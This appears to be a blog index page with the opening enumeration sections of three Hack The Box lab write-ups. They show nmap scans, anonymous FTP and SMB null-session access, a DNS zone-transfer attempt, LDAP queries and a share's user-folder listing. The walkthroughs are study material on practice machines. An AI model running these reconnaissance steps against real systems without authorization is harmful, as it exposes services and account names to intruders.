Hero Image
[HTB] Machine: Sizzle

Sizzle

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.103 --min-rate 5000                                                      
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.11s latency).
Not shown: 65506 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
53/tcp    open  domain
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
5986/tcp  open  wsmans
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49677/tcp open  unknown
49688/tcp open  unknown
49689/tcp open  unknown
49691/tcp open  unknown
49694/tcp open  unknown
49699/tcp open  unknown
49708/tcp open  unknown
49714/tcp open  unknown

└─$ nmap -Pn -p21,53,80,135,139,443,445,464,593,636,3268,3269,5985,5986,9389,47001 -sC -sV 10.10.10.103 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-06 03:19 BST
Nmap scan report for 10.10.10.103 (10.10.10.103)
Host is up (0.10s latency).

PORT      STATE    SERVICE          VERSION
21/tcp    open     ftp              Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp    open     domain           Simple DNS Plus
80/tcp    open     http             Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open     msrpc            Microsoft Windows RPC
139/tcp   open     netbios-ssn      Microsoft Windows netbios-ssn
443/tcp   open     ssl/http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
| tls-alpn: 
|   h2
|_  http/1.1
| http-methods: 
|_  Potentially risky methods: TRACE
445/tcp   open     microsoft-ds?
464/tcp   open     kpasswd5?
593/tcp   filtered http-rpc-epmap
636/tcp   filtered ldapssl
3268/tcp  filtered globalcatLDAP
3269/tcp  filtered globalcatLDAPssl
5985/tcp  filtered wsman
5986/tcp  open     ssl/http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ssl-date: 2023-10-05T19:21:25+00:00; -7h00m01s from scanner time.
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2018-07-02T20:26:23
|_Not valid after:  2019-07-02T20:26:23
| tls-alpn: 
|   h2
|_  http/1.1
9389/tcp  open     mc-nmf           .NET Message Framing
47001/tcp filtered winrm
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m01s
| smb2-time: 
|   date: 2023-10-05T19:20:48
|_  start_date: 2023-10-05T19:16:02
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.35 seconds
  • ftp
└─$ ftp anonymous@10.10.10.103
Connected to 10.10.10.103.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||56265|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp>
  • Web Server

Wednesday, October 4, 2023 | 17 minutes Read
Hero Image
[HTB] Machine: Flight

Flight

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.187 -T4 --min-rate 5000                                             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 19:23 BST
Nmap scan report for 10.10.11.187 (10.10.11.187)
Host is up (0.099s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49668/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49696/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 43.28 seconds

└─$ nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV 10.10.11.187 -T4 --min-rate 5000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 19:26 BST
Nmap scan report for 10.10.11.187 (10.10.11.187)
Host is up (0.13s latency).

PORT     STATE    SERVICE       VERSION
53/tcp   open     domain        Simple DNS Plus
80/tcp   open     http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
88/tcp   filtered kerberos-sec
135/tcp  open     msrpc         Microsoft Windows RPC
139/tcp  open     netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open     ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp  open     microsoft-ds?
464/tcp  filtered kpasswd5
593/tcp  open     ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open     tcpwrapped
3268/tcp open     ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open     tcpwrapped
5985/tcp open     http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open     mc-nmf        .NET Message Framing
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-21T01:26:00
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.48 seconds
  • Web server

Wednesday, September 20, 2023 | 20 minutes Read
Hero Image
[HTB] Machine: Blackfield

Blackfield

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:54 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.11s latency).
Not shown: 65526 filtered tcp ports (no-response)
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 35.69 seconds

└─$ nmap -Pn -p53,88,135,389,445,593,3268,5985 -sC -sV 10.10.10.192 --min-rate 5000 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-17 18:56 BST
Nmap scan report for 10.10.10.192 (10.10.10.192)
Host is up (0.15s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-18 00:55:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h59m20s
| smb2-time: 
|   date: 2023-09-18T00:55:39
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.42 seconds
  • smb
└─$ smbclient -N -L //10.10.10.192                                  

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        profiles$       Disk      
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
  • dns
└─$ sudo vim /etc/hosts                                                                                                     
[sudo] password for kali: 
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~/Documents/tasks]
└─$ dig  @10.10.10.192 BLACKFIELD.local                                                                                     

; <<>> DiG 9.18.16-1-Debian <<>> @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26635
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;BLACKFIELD.local.              IN      A

;; ANSWER SECTION:
BLACKFIELD.local.       600     IN      A       10.10.10.192

;; Query time: 95 msec
;; SERVER: 10.10.10.192#53(10.10.10.192) (UDP)
;; WHEN: Sun Sep 17 19:03:32 BST 2023
;; MSG SIZE  rcvd: 61

└─$ dig axfr @10.10.10.192 BLACKFIELD.local 

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.10.192 BLACKFIELD.local
; (1 server found)
;; global options: +cmd
; Transfer failed.
  • ldap
└─$ ldapsearch -H ldap://10.10.10.192 -x -s base namingcontexts 
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=BLACKFIELD,DC=local
namingcontexts: CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=BLACKFIELD,DC=local
namingcontexts: DC=DomainDnsZones,DC=BLACKFIELD,DC=local
namingcontexts: DC=ForestDnsZones,DC=BLACKFIELD,DC=local

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

└─$ ldapsearch -H ldap://10.10.10.192 -x -b "DC=BLACKFIELD,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=BLACKFIELD,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A69, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Foothold

  • smb
└─$ smbclient -N //10.10.10.192/profiles$
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun  3 17:47:12 2020
  ..                                  D        0  Wed Jun  3 17:47:12 2020
  AAlleni                             D        0  Wed Jun  3 17:47:11 2020
  ABarteski                           D        0  Wed Jun  3 17:47:11 2020
  ABekesz                             D        0  Wed Jun  3 17:47:11 2020
  ABenzies                            D        0  Wed Jun  3 17:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 17:47:11 2020
  AChampken                           D        0  Wed Jun  3 17:47:11 2020
  ACheretei                           D        0  Wed Jun  3 17:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 17:47:11 2020
  AHigchens                           D        0  Wed Jun  3 17:47:11 2020
  AJaquemai                           D        0  Wed Jun  3 17:47:11 2020
  AKlado                              D        0  Wed Jun  3 17:47:11 2020
  AKoffenburger                       D        0  Wed Jun  3 17:47:11 2020
  AKollolli                           D        0  Wed Jun  3 17:47:11 2020
  AKruppe                             D        0  Wed Jun  3 17:47:11 2020
  AKubale                             D        0  Wed Jun  3 17:47:11 2020
  ALamerz                             D        0  Wed Jun  3 17:47:11 2020
  AMaceldon                           D        0  Wed Jun  3 17:47:11 2020
  AMasalunga                          D        0  Wed Jun  3 17:47:11 2020
  ANavay                              D        0  Wed Jun  3 17:47:11 2020
  ANesterova                          D        0  Wed Jun  3 17:47:11 2020
  ANeusse                             D        0  Wed Jun  3 17:47:11 2020
  AOkleshen                           D        0  Wed Jun  3 17:47:11 2020
  APustulka                           D        0  Wed Jun  3 17:47:11 2020
  ARotella                            D        0  Wed Jun  3 17:47:11 2020
  ASanwardeker                        D        0  Wed Jun  3 17:47:11 2020
  AShadaia                            D        0  Wed Jun  3 17:47:11 2020
  ASischo                             D        0  Wed Jun  3 17:47:11 2020
  ASpruce                             D        0  Wed Jun  3 17:47:11 2020
  ATakach                             D        0  Wed Jun  3 17:47:11 2020
  ATaueg                              D        0  Wed Jun  3 17:47:11 2020
  ATwardowski                         D        0  Wed Jun  3 17:47:11 2020
  audit2020                           D        0  Wed Jun  3 17:47:11 2020
  AWangenheim                         D        0  Wed Jun  3 17:47:11 2020
  AWorsey                             D        0  Wed Jun  3 17:47:11 2020
  AZigmunt                            D        0  Wed Jun  3 17:47:11 2020
  BBakajza                            D        0  Wed Jun  3 17:47:11 2020
  BBeloucif                           D        0  Wed Jun  3 17:47:11 2020
  BCarmitcheal                        D        0  Wed Jun  3 17:47:11 2020
  BConsultant                         D        0  Wed Jun  3 17:47:11 2020
  BErdossy                            D        0  Wed Jun  3 17:47:11 2020
  BGeminski                           D        0  Wed Jun  3 17:47:11 2020
  BLostal                             D        0  Wed Jun  3 17:47:11 2020
  BMannise                            D        0  Wed Jun  3 17:47:11 2020
  BNovrotsky                          D        0  Wed Jun  3 17:47:11 2020
  BRigiero                            D        0  Wed Jun  3 17:47:11 2020
  BSamkoses                           D        0  Wed Jun  3 17:47:11 2020
  BZandonella                         D        0  Wed Jun  3 17:47:11 2020
  CAcherman                           D        0  Wed Jun  3 17:47:12 2020
  CAkbari                             D        0  Wed Jun  3 17:47:12 2020
  CAldhowaihi                         D        0  Wed Jun  3 17:47:12 2020
  CArgyropolous                       D        0  Wed Jun  3 17:47:12 2020
  CDufrasne                           D        0  Wed Jun  3 17:47:12 2020
  CGronk                              D        0  Wed Jun  3 17:47:11 2020
  Chiucarello                         D        0  Wed Jun  3 17:47:11 2020
  Chiuccariello                       D        0  Wed Jun  3 17:47:12 2020
  CHoytal                             D        0  Wed Jun  3 17:47:12 2020
  CKijauskas                          D        0  Wed Jun  3 17:47:12 2020
  CKolbo                              D        0  Wed Jun  3 17:47:12 2020
  CMakutenas                          D        0  Wed Jun  3 17:47:12 2020
  CMorcillo                           D        0  Wed Jun  3 17:47:11 2020
  CSchandall                          D        0  Wed Jun  3 17:47:12 2020
  CSelters                            D        0  Wed Jun  3 17:47:12 2020
  CTolmie                             D        0  Wed Jun  3 17:47:12 2020
  DCecere                             D        0  Wed Jun  3 17:47:12 2020
  DChintalapalli                      D        0  Wed Jun  3 17:47:12 2020
  DCwilich                            D        0  Wed Jun  3 17:47:12 2020
  DGarbatiuc                          D        0  Wed Jun  3 17:47:12 2020
  DKemesies                           D        0  Wed Jun  3 17:47:12 2020
  DMatuka                             D        0  Wed Jun  3 17:47:12 2020
  DMedeme                             D        0  Wed Jun  3 17:47:12 2020
  DMeherek                            D        0  Wed Jun  3 17:47:12 2020
  DMetych                             D        0  Wed Jun  3 17:47:12 2020
  DPaskalev                           D        0  Wed Jun  3 17:47:12 2020
  DPriporov                           D        0  Wed Jun  3 17:47:12 2020
  DRusanovskaya                       D        0  Wed Jun  3 17:47:12 2020
  DVellela                            D        0  Wed Jun  3 17:47:12 2020
  DVogleson                           D        0  Wed Jun  3 17:47:12 2020
  DZwinak                             D        0  Wed Jun  3 17:47:12 2020
  EBoley                              D        0  Wed Jun  3 17:47:12 2020
  EEulau                              D        0  Wed Jun  3 17:47:12 2020
  EFeatherling                        D        0  Wed Jun  3 17:47:12 2020
  EFrixione                           D        0  Wed Jun  3 17:47:12 2020
  EJenorik                            D        0  Wed Jun  3 17:47:12 2020
  EKmilanovic                         D        0  Wed Jun  3 17:47:12 2020
  ElKatkowsky                         D        0  Wed Jun  3 17:47:12 2020
  EmaCaratenuto                       D        0  Wed Jun  3 17:47:12 2020
  EPalislamovic                       D        0  Wed Jun  3 17:47:12 2020
  EPryar                              D        0  Wed Jun  3 17:47:12 2020
  ESachhitello                        D        0  Wed Jun  3 17:47:12 2020
  ESariotti                           D        0  Wed Jun  3 17:47:12 2020
  ETurgano                            D        0  Wed Jun  3 17:47:12 2020
  EWojtila                            D        0  Wed Jun  3 17:47:12 2020
  FAlirezai                           D        0  Wed Jun  3 17:47:12 2020
  FBaldwind                           D        0  Wed Jun  3 17:47:12 2020
  FBroj                               D        0  Wed Jun  3 17:47:12 2020
  FDeblaquire                         D        0  Wed Jun  3 17:47:12 2020
  FDegeorgio                          D        0  Wed Jun  3 17:47:12 2020
  FianLaginja                         D        0  Wed Jun  3 17:47:12 2020
  FLasokowski                         D        0  Wed Jun  3 17:47:12 2020
  FPflum                              D        0  Wed Jun  3 17:47:12 2020
  FReffey                             D        0  Wed Jun  3 17:47:12 2020
  GaBelithe                           D        0  Wed Jun  3 17:47:12 2020
  Gareld                              D        0  Wed Jun  3 17:47:12 2020
  GBatowski                           D        0  Wed Jun  3 17:47:12 2020
  GForshalger                         D        0  Wed Jun  3 17:47:12 2020
  GGomane                             D        0  Wed Jun  3 17:47:12 2020
  GHisek                              D        0  Wed Jun  3 17:47:12 2020
  GMaroufkhani                        D        0  Wed Jun  3 17:47:12 2020
  GMerewether                         D        0  Wed Jun  3 17:47:12 2020
  GQuinniey                           D        0  Wed Jun  3 17:47:12 2020
  GRoswurm                            D        0  Wed Jun  3 17:47:12 2020
  GWiegard                            D        0  Wed Jun  3 17:47:12 2020
  HBlaziewske                         D        0  Wed Jun  3 17:47:12 2020
  HColantino                          D        0  Wed Jun  3 17:47:12 2020
  HConforto                           D        0  Wed Jun  3 17:47:12 2020
  HCunnally                           D        0  Wed Jun  3 17:47:12 2020
  HGougen                             D        0  Wed Jun  3 17:47:12 2020
  HKostova                            D        0  Wed Jun  3 17:47:12 2020
  IChristijr                          D        0  Wed Jun  3 17:47:12 2020
  IKoledo                             D        0  Wed Jun  3 17:47:12 2020
  IKotecky                            D        0  Wed Jun  3 17:47:12 2020
  ISantosi                            D        0  Wed Jun  3 17:47:12 2020
  JAngvall                            D        0  Wed Jun  3 17:47:12 2020
  JBehmoiras                          D        0  Wed Jun  3 17:47:12 2020
  JDanten                             D        0  Wed Jun  3 17:47:12 2020
  JDjouka                             D        0  Wed Jun  3 17:47:12 2020
  JKondziola                          D        0  Wed Jun  3 17:47:12 2020
  JLeytushsenior                      D        0  Wed Jun  3 17:47:12 2020
  JLuthner                            D        0  Wed Jun  3 17:47:12 2020
  JMoorehendrickson                   D        0  Wed Jun  3 17:47:12 2020
  JPistachio                          D        0  Wed Jun  3 17:47:12 2020
  JScima                              D        0  Wed Jun  3 17:47:12 2020
  JSebaali                            D        0  Wed Jun  3 17:47:12 2020
  JShoenherr                          D        0  Wed Jun  3 17:47:12 2020
  JShuselvt                           D        0  Wed Jun  3 17:47:12 2020
  KAmavisca                           D        0  Wed Jun  3 17:47:12 2020
  KAtolikian                          D        0  Wed Jun  3 17:47:12 2020
  KBrokinn                            D        0  Wed Jun  3 17:47:12 2020
  KCockeril                           D        0  Wed Jun  3 17:47:12 2020
  KColtart                            D        0  Wed Jun  3 17:47:12 2020
  KCyster                             D        0  Wed Jun  3 17:47:12 2020
  KDorney                             D        0  Wed Jun  3 17:47:12 2020
  KKoesno                             D        0  Wed Jun  3 17:47:12 2020
  KLangfur                            D        0  Wed Jun  3 17:47:12 2020
  KMahalik                            D        0  Wed Jun  3 17:47:12 2020
  KMasloch                            D        0  Wed Jun  3 17:47:12 2020
  KMibach                             D        0  Wed Jun  3 17:47:12 2020
  KParvankova                         D        0  Wed Jun  3 17:47:12 2020
  KPregnolato                         D        0  Wed Jun  3 17:47:12 2020
  KRasmor                             D        0  Wed Jun  3 17:47:12 2020
  KShievitz                           D        0  Wed Jun  3 17:47:12 2020
  KSojdelius                          D        0  Wed Jun  3 17:47:12 2020
  KTambourgi                          D        0  Wed Jun  3 17:47:12 2020
  KVlahopoulos                        D        0  Wed Jun  3 17:47:12 2020
  KZyballa                            D        0  Wed Jun  3 17:47:12 2020
  LBajewsky                           D        0  Wed Jun  3 17:47:12 2020
  LBaligand                           D        0  Wed Jun  3 17:47:12 2020
  LBarhamand                          D        0  Wed Jun  3 17:47:12 2020
  LBirer                              D        0  Wed Jun  3 17:47:12 2020
  LBobelis                            D        0  Wed Jun  3 17:47:12 2020
  LChippel                            D        0  Wed Jun  3 17:47:12 2020
  LChoffin                            D        0  Wed Jun  3 17:47:12 2020
  LCominelli                          D        0  Wed Jun  3 17:47:12 2020
  LDruge                              D        0  Wed Jun  3 17:47:12 2020
  LEzepek                             D        0  Wed Jun  3 17:47:12 2020
  LHyungkim                           D        0  Wed Jun  3 17:47:12 2020
  LKarabag                            D        0  Wed Jun  3 17:47:12 2020
  LKirousis                           D        0  Wed Jun  3 17:47:12 2020
  LKnade                              D        0  Wed Jun  3 17:47:12 2020
  LKrioua                             D        0  Wed Jun  3 17:47:12 2020
  LLefebvre                           D        0  Wed Jun  3 17:47:12 2020
  LLoeradeavilez                      D        0  Wed Jun  3 17:47:12 2020
  LMichoud                            D        0  Wed Jun  3 17:47:12 2020
  LTindall                            D        0  Wed Jun  3 17:47:12 2020
  LYturbe                             D        0  Wed Jun  3 17:47:12 2020
  MArcynski                           D        0  Wed Jun  3 17:47:12 2020
  MAthilakshmi                        D        0  Wed Jun  3 17:47:12 2020
  MAttravanam                         D        0  Wed Jun  3 17:47:12 2020
  MBrambini                           D        0  Wed Jun  3 17:47:12 2020
  MHatziantoniou                      D        0  Wed Jun  3 17:47:12 2020
  MHoerauf                            D        0  Wed Jun  3 17:47:12 2020
  MKermarrec                          D        0  Wed Jun  3 17:47:12 2020
  MKillberg                           D        0  Wed Jun  3 17:47:12 2020
  MLapesh                             D        0  Wed Jun  3 17:47:12 2020
  MMakhsous                           D        0  Wed Jun  3 17:47:12 2020
  MMerezio                            D        0  Wed Jun  3 17:47:12 2020
  MNaciri                             D        0  Wed Jun  3 17:47:12 2020
  MShanmugarajah                      D        0  Wed Jun  3 17:47:12 2020
  MSichkar                            D        0  Wed Jun  3 17:47:12 2020
  MTemko                              D        0  Wed Jun  3 17:47:12 2020
  MTipirneni                          D        0  Wed Jun  3 17:47:12 2020
  MTonuri                             D        0  Wed Jun  3 17:47:12 2020
  MVanarsdel                          D        0  Wed Jun  3 17:47:12 2020
  NBellibas                           D        0  Wed Jun  3 17:47:12 2020
  NDikoka                             D        0  Wed Jun  3 17:47:12 2020
  NGenevro                            D        0  Wed Jun  3 17:47:12 2020
  NGoddanti                           D        0  Wed Jun  3 17:47:12 2020
  NMrdirk                             D        0  Wed Jun  3 17:47:12 2020
  NPulido                             D        0  Wed Jun  3 17:47:12 2020
  NRonges                             D        0  Wed Jun  3 17:47:12 2020
  NSchepkie                           D        0  Wed Jun  3 17:47:12 2020
  NVanpraet                           D        0  Wed Jun  3 17:47:12 2020
  OBelghazi                           D        0  Wed Jun  3 17:47:12 2020
  OBushey                             D        0  Wed Jun  3 17:47:12 2020
  OHardybala                          D        0  Wed Jun  3 17:47:12 2020
  OLunas                              D        0  Wed Jun  3 17:47:12 2020
  ORbabka                             D        0  Wed Jun  3 17:47:12 2020
  PBourrat                            D        0  Wed Jun  3 17:47:12 2020
  PBozzelle                           D        0  Wed Jun  3 17:47:12 2020
  PBranti                             D        0  Wed Jun  3 17:47:12 2020
  PCapperella                         D        0  Wed Jun  3 17:47:12 2020
  PCurtz                              D        0  Wed Jun  3 17:47:12 2020
  PDoreste                            D        0  Wed Jun  3 17:47:12 2020
  PGegnas                             D        0  Wed Jun  3 17:47:12 2020
  PMasulla                            D        0  Wed Jun  3 17:47:12 2020
  PMendlinger                         D        0  Wed Jun  3 17:47:12 2020
  PParakat                            D        0  Wed Jun  3 17:47:12 2020
  PProvencer                          D        0  Wed Jun  3 17:47:12 2020
  PTesik                              D        0  Wed Jun  3 17:47:12 2020
  PVinkovich                          D        0  Wed Jun  3 17:47:12 2020
  PVirding                            D        0  Wed Jun  3 17:47:12 2020
  PWeinkaus                           D        0  Wed Jun  3 17:47:12 2020
  RBaliukonis                         D        0  Wed Jun  3 17:47:12 2020
  RBochare                            D        0  Wed Jun  3 17:47:12 2020
  RKrnjaic                            D        0  Wed Jun  3 17:47:12 2020
  RNemnich                            D        0  Wed Jun  3 17:47:12 2020
  RPoretsky                           D        0  Wed Jun  3 17:47:12 2020
  RStuehringer                        D        0  Wed Jun  3 17:47:12 2020
  RSzewczuga                          D        0  Wed Jun  3 17:47:12 2020
  RVallandas                          D        0  Wed Jun  3 17:47:12 2020
  RWeatherl                           D        0  Wed Jun  3 17:47:12 2020
  RWissor                             D        0  Wed Jun  3 17:47:12 2020
  SAbdulagatov                        D        0  Wed Jun  3 17:47:12 2020
  SAjowi                              D        0  Wed Jun  3 17:47:12 2020
  SAlguwaihes                         D        0  Wed Jun  3 17:47:12 2020
  SBonaparte                          D        0  Wed Jun  3 17:47:12 2020
  SBouzane                            D        0  Wed Jun  3 17:47:12 2020
  SChatin                             D        0  Wed Jun  3 17:47:12 2020
  SDellabitta                         D        0  Wed Jun  3 17:47:12 2020
  SDhodapkar                          D        0  Wed Jun  3 17:47:12 2020
  SEulert                             D        0  Wed Jun  3 17:47:12 2020
  SFadrigalan                         D        0  Wed Jun  3 17:47:12 2020
  SGolds                              D        0  Wed Jun  3 17:47:12 2020
  SGrifasi                            D        0  Wed Jun  3 17:47:12 2020
  SGtlinas                            D        0  Wed Jun  3 17:47:12 2020
  SHauht                              D        0  Wed Jun  3 17:47:12 2020
  SHederian                           D        0  Wed Jun  3 17:47:12 2020
  SHelregel                           D        0  Wed Jun  3 17:47:12 2020
  SKrulig                             D        0  Wed Jun  3 17:47:12 2020
  SLewrie                             D        0  Wed Jun  3 17:47:12 2020
  SMaskil                             D        0  Wed Jun  3 17:47:12 2020
  Smocker                             D        0  Wed Jun  3 17:47:12 2020
  SMoyta                              D        0  Wed Jun  3 17:47:12 2020
  SRaustiala                          D        0  Wed Jun  3 17:47:12 2020
  SReppond                            D        0  Wed Jun  3 17:47:12 2020
  SSicliano                           D        0  Wed Jun  3 17:47:12 2020
  SSilex                              D        0  Wed Jun  3 17:47:12 2020
  SSolsbak                            D        0  Wed Jun  3 17:47:12 2020
  STousignaut                         D        0  Wed Jun  3 17:47:12 2020
  support                             D        0  Wed Jun  3 17:47:12 2020
  svc_backup                          D        0  Wed Jun  3 17:47:12 2020
  SWhyte                              D        0  Wed Jun  3 17:47:12 2020
  SWynigear                           D        0  Wed Jun  3 17:47:12 2020
  TAwaysheh                           D        0  Wed Jun  3 17:47:12 2020
  TBadenbach                          D        0  Wed Jun  3 17:47:12 2020
  TCaffo                              D        0  Wed Jun  3 17:47:12 2020
  TCassalom                           D        0  Wed Jun  3 17:47:12 2020
  TEiselt                             D        0  Wed Jun  3 17:47:12 2020
  TFerencdo                           D        0  Wed Jun  3 17:47:12 2020
  TGaleazza                           D        0  Wed Jun  3 17:47:12 2020
  TKauten                             D        0  Wed Jun  3 17:47:12 2020
  TKnupke                             D        0  Wed Jun  3 17:47:12 2020
  TLintlop                            D        0  Wed Jun  3 17:47:12 2020
  TMusselli                           D        0  Wed Jun  3 17:47:12 2020
  TOust                               D        0  Wed Jun  3 17:47:12 2020
  TSlupka                             D        0  Wed Jun  3 17:47:12 2020
  TStausland                          D        0  Wed Jun  3 17:47:12 2020
  TZumpella                           D        0  Wed Jun  3 17:47:12 2020
  UCrofskey                           D        0  Wed Jun  3 17:47:12 2020
  UMarylebone                         D        0  Wed Jun  3 17:47:12 2020
  UPyrke                              D        0  Wed Jun  3 17:47:12 2020
  VBublavy                            D        0  Wed Jun  3 17:47:12 2020
  VButziger                           D        0  Wed Jun  3 17:47:12 2020
  VFuscca                             D        0  Wed Jun  3 17:47:12 2020
  VLitschauer                         D        0  Wed Jun  3 17:47:12 2020
  VMamchuk                            D        0  Wed Jun  3 17:47:12 2020
  VMarija                             D        0  Wed Jun  3 17:47:12 2020
  VOlaosun                            D        0  Wed Jun  3 17:47:12 2020
  VPapalouca                          D        0  Wed Jun  3 17:47:12 2020
  WSaldat                             D        0  Wed Jun  3 17:47:12 2020
  WVerzhbytska                        D        0  Wed Jun  3 17:47:12 2020
  WZelazny                            D        0  Wed Jun  3 17:47:12 2020
  XBemelen                            D        0  Wed Jun  3 17:47:12 2020
  XDadant                             D        0  Wed Jun  3 17:47:12 2020
